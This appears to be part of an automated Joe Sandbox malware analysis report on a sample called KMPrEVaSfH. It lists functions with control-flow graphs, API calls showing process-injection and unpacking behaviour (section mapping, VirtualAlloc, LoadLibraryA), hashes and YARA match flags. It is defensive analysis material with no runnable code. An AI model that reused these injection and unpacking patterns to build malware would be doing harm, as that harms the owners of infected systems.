                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 0d93f4365e87c5b399d537d4dae1489dcabe6451f020ac4fa5379885d57b3e5a
                                                                                                                                                                                                                                                                • Instruction ID: 888905ccdc062b2077a5f017d1ef169053418d2c42f3064abdaebd709c3a76db
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0d93f4365e87c5b399d537d4dae1489dcabe6451f020ac4fa5379885d57b3e5a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B15107B4900209BFEF209F91CC48FABBBB8EF85B10F104159FA11BA2A5D6759945CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417240 Relevance: 6.1, APIs: 4, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 451 417240-41725a 452 417265-41726c 451->452 453 4172ae-4172b5 452->453 454 41726e-417282 452->454 457 4172c0-4172c7 453->457 455 417284-4172a6 WriteConsoleOutputCharacterA GetTimeZoneInformation 454->455 456 4172ac 454->456 455->456 456->452 459 41735b call 416f60 457->459 460 4172cd-4172d7 457->460 464 417360 459->464 461 417312-417319 460->461 462 4172d9-41730c ReadFile GetVolumeInformationA 460->462 465 417336-417340 461->465 466 41731b-417331 461->466 462->461 470 417360 call 416e00 464->470 471 417360 call 416540 464->471 467 417342-41734c 465->467 468 417356 465->468 466->465 467->468 469 4172b7-4172bd 468->469 469->457 470->464 471->464
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • WriteConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 0041729E
                                                                                                                                                                                                                                                                • GetTimeZoneInformation.KERNEL32(00000000), ref: 004172A6
                                                                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004172E3
                                                                                                                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00425A0C,?,00000000,?,?,?,?,00000000), ref: 0041730C
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Information$CharacterConsoleFileOutputReadTimeVolumeWriteZone
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1899384576-0
                                                                                                                                                                                                                                                                • Opcode ID: 5f2e4004dd5fcdb9c3615df97f0f04457b88d80e07761eb320f3fbbf5d71d132
                                                                                                                                                                                                                                                                • Instruction ID: ef4d97432ea2fe8a7f2abcc2df7d08abe3d2dcf359d447f37c96963e17b975b7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5f2e4004dd5fcdb9c3615df97f0f04457b88d80e07761eb320f3fbbf5d71d132
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9831A271E48208DFDB20DF90DD05BEE77B4FB44305F50856AE61497280E7B8168ADF9A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E7D527 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 472 2e7d527-2e7d540 473 2e7d542-2e7d544 472->473 474 2e7d546 473->474 475 2e7d54b-2e7d557 CreateToolhelp32Snapshot 473->475 474->475 476 2e7d567-2e7d574 Module32First 475->476 477 2e7d559-2e7d55f 475->477 478 2e7d576-2e7d577 call 2e7d1e6 476->478 479 2e7d57d-2e7d585 476->479 477->476 482 2e7d561-2e7d565 477->482 483 2e7d57c 478->483 482->473 482->476 483->479
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02E7D54F
                                                                                                                                                                                                                                                                • Module32First.KERNEL32(00000000,00000224), ref: 02E7D56F
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042386552.0000000002E7A000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E7A000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2e7a000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFirstModule32SnapshotToolhelp32
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3833638111-0
                                                                                                                                                                                                                                                                • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction ID: a88ed13e2f1ba2fb9e6a085cb4eb7f3301ef3bdf0a79c4039bb1dcaec06a812d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: BBF09631540711ABD7203BF59C8CB6E76FCAF4972DF145529E643D24C0DB70E9458A61
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004017DF Relevance: 3.0, APIs: 2, Instructions: 30nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 485 4017df-4017e7 NtMapViewOfSection 487 401782-40179e NtMapViewOfSection 485->487 488 401957-4019af call 40125c 485->488 487->488 489 4017a4 call 4017a9 487->489
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$CreateDuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3617974760-0
                                                                                                                                                                                                                                                                • Opcode ID: 778a8056d619d0b7cace1ce49ed5d27e35b0d83fcb1ff79323e202117ad148a0
                                                                                                                                                                                                                                                                • Instruction ID: 8378ec888cbfd114d089a1c3a957c728448429fa8b00b4fa6dff980078d78902
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 778a8056d619d0b7cace1ce49ed5d27e35b0d83fcb1ff79323e202117ad148a0
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 83F03975510240BEEF245E92CC88FAB3FBDEFC6B10B14012EF951A51E5E2358C00DB20
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02D1003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1 2d1003c-2d10047 2 2d10049 1->2 3 2d1004c-2d10263 call 2d10a3f call 2d10e0f call 2d10d90 VirtualAlloc 1->3 2->3 18 2d10265-2d10289 call 2d10a69 3->18 19 2d1028b-2d10292 3->19 24 2d102ce-2d103c2 VirtualProtect call 2d10cce call 2d10ce7 18->24 21 2d102a1-2d102b0 19->21 23 2d102b2-2d102cc 21->23 21->24 23->21 30 2d103d1-2d103e0 24->30 31 2d103e2-2d10437 call 2d10ce7 30->31 32 2d10439-2d104b8 VirtualFree 30->32 31->30 34 2d105f4-2d105fe 32->34 35 2d104be-2d104cd 32->35 38 2d10604-2d1060d 34->38 39 2d1077f-2d10789 34->39 37 2d104d3-2d104dd 35->37 37->34 42 2d104e3-2d10505 37->42 38->39 40 2d10613-2d10637 38->40 43 2d107a6-2d107b0 39->43 44 2d1078b-2d107a3 39->44 45 2d1063e-2d10648 40->45 55 2d10517-2d10520 42->55 56 2d10507-2d10515 42->56 46 2d107b6-2d107cb 43->46 47 2d1086e-2d108be LoadLibraryA 43->47 44->43 45->39 49 2d1064e-2d1065a 45->49 48 2d107d2-2d107d5 46->48 54 2d108c7-2d108f9 47->54 51 2d10824-2d10833 48->51 52 2d107d7-2d107e0 48->52 49->39 53 2d10660-2d1066a 49->53 61 2d10839-2d1083c 51->61 58 2d107e2 52->58 59 2d107e4-2d10822 52->59 60 2d1067a-2d10689 53->60 62 2d10902-2d1091d 54->62 63 2d108fb-2d10901 54->63 57 2d10526-2d10547 55->57 56->57 64 2d1054d-2d10550 57->64 58->51 59->48 65 2d10750-2d1077a 60->65 66 2d1068f-2d106b2 60->66 61->47 67 2d1083e-2d10847 61->67 63->62 69 2d105e0-2d105ef 64->69 70 2d10556-2d1056b 64->70 65->45 71 2d106b4-2d106ed 66->71 72 2d106ef-2d106fc 66->72 73 2d10849 67->73 74 2d1084b-2d1086c 67->74 69->37 75 2d1056d 70->75 76 2d1056f-2d1057a 70->76 71->72 77 2d1074b 72->77 78 2d106fe-2d10748 72->78 73->47 74->61 75->69 79 2d1059b-2d105bb 76->79 80 2d1057c-2d10599 76->80 77->60 78->77 85 2d105bd-2d105db 79->85 80->85 85->64
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02D1024D
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2d10000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID: cess$kernel32.dll
                                                                                                                                                                                                                                                                • API String ID: 4275171209-1230238691
                                                                                                                                                                                                                                                                • Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                                                                                                                                                                                                                                • Instruction ID: c7b5f19e3b7f87129c44444ffa352ad939145b48d9a94057073eda1ca933b071
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 46526874A00229DFDB64DF68D984BA8BBB1BF09305F1480D9E94DAB751DB30AE85CF14
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02D10E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 503 2d10e0f-2d10e24 SetErrorMode * 2 504 2d10e26 503->504 505 2d10e2b-2d10e2c 503->505 504->505
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SetErrorMode.KERNELBASE(00000400,?,?,02D10223,?,?), ref: 02D10E19
                                                                                                                                                                                                                                                                • SetErrorMode.KERNELBASE(00000000,?,?,02D10223,?,?), ref: 02D10E1E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2d10000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ErrorMode
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2340568224-0
                                                                                                                                                                                                                                                                • Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                                                                                                • Instruction ID: fe185a62a02c14c90e097e00a0269c1189d12346271cb14313f70f45d1455235
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 20D0123114512877DB003A95DC09BCD7B1CDF05B67F008011FB0DD9580C770994046E5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00416E00 Relevance: 1.5, APIs: 1, Instructions: 9libraryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 506 416e00-416e36 LoadLibraryA
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNELBASE(0042AA08,004171A0), ref: 00416E30
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: LibraryLoad
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1029625771-0
                                                                                                                                                                                                                                                                • Opcode ID: 3d08c2ae3a06cfd21e49178b17e66c74b4b38d2745f026da90a121f1e156d44c
                                                                                                                                                                                                                                                                • Instruction ID: b768ad7acdfe99bd2b25a1756404c66c4bff643dc40a8127fb68b818656ca87f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3d08c2ae3a06cfd21e49178b17e66c74b4b38d2745f026da90a121f1e156d44c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: BDD092247552C0DBCA21CF50BB097043E61AF51704BD0906999512AA22D3B80166CB1F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019B2 Relevance: 1.3, APIs: 1, Instructions: 65sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 04f6897abb308126f470fd05014cf238183fa8e61674ddeb0717af411a121877
                                                                                                                                                                                                                                                                • Instruction ID: 9535be6c36f98077632f4f02dfbdda9f19971c7bea6acc9325b6b8c563985b13
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 04f6897abb308126f470fd05014cf238183fa8e61674ddeb0717af411a121877
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CD119EB530C204F7DB00AA959C92EBA32689B40754F304537F607B90F0E67D9A13EB6B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019CC Relevance: 1.3, APIs: 1, Instructions: 59sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 33c28c6db8310be9d0036b491102ae5ea51f8e5c4e2b4487472b9c1eca0431ce
                                                                                                                                                                                                                                                                • Instruction ID: 9860b3adbb02253c11ca7fee9fca2776f08e165eea76d4ff876d2c90885662b8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 33c28c6db8310be9d0036b491102ae5ea51f8e5c4e2b4487472b9c1eca0431ce
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: FD017C7630C204F7DB00AA819892EBA32649B40754F304577F607B90F0D63D9A13EB1B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019BE Relevance: 1.3, APIs: 1, Instructions: 58sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: a7c3ad1862dbfc6de84a841be9cc81f89f6a2c5f1f8df06033d8068c45b7fee5
                                                                                                                                                                                                                                                                • Instruction ID: 6ea748b5703c6c3cc47f97f8384fa15d7aaa85e5df960e900962d61b5b42e5e1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: a7c3ad1862dbfc6de84a841be9cc81f89f6a2c5f1f8df06033d8068c45b7fee5
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 20018E7630C204F7DB00AA819C92EBA32645B44754F204577F607B90F0D67D9A13EB1B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019CF Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 0cae673df1dcccc298252c6cb1d087753a000ea560dbf3a75727c984865d924c
                                                                                                                                                                                                                                                                • Instruction ID: 1dabb258173db235a1d95cfc95eeffc66b9799adec5ca63ac31477e601607a68
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0cae673df1dcccc298252c6cb1d087753a000ea560dbf3a75727c984865d924c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7701D675308204F7DB00ABD08C81AAE32689F40314F708177F613B81F0EA3D8612EB5B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E7D1E6 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E7D237
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042386552.0000000002E7A000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E7A000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2e7a000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction ID: 7a8686cd6fa55e2440bcce1fdbf3ae5d27ca20ba87e7708c075eac576777c01b
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F9112B79A40208EFDB01DF98C985E98BBF5AF08351F05C0A4F9489B361D371EA50DF80
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019E7 Relevance: 1.3, APIs: 1, Instructions: 48sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 188fd4d8d6eee7cd557e4d10eb30fffa0ab7ddb0591dde503fad6877693a3d2c
                                                                                                                                                                                                                                                                • Instruction ID: 9426f979ca713991860f9ea44d55cd4c2553d935c0e8181050f05289ed5f003d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 188fd4d8d6eee7cd557e4d10eb30fffa0ab7ddb0591dde503fad6877693a3d2c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D401A776309204FBDB00AA959C41AAE37689F45310F204477F607B80F1E67D9A12AB2B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                                                                Function 00416F60 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 214timenetworkCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetConsoleAliasesA.KERNEL32(00000000,00000000,00000000), ref: 00416F9C
                                                                                                                                                                                                                                                                • InterlockedDecrement.KERNEL32(?), ref: 00416FFA
                                                                                                                                                                                                                                                                • FindAtomW.KERNEL32(00000000), ref: 00417001
                                                                                                                                                                                                                                                                • DeviceIoControl.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 00417034
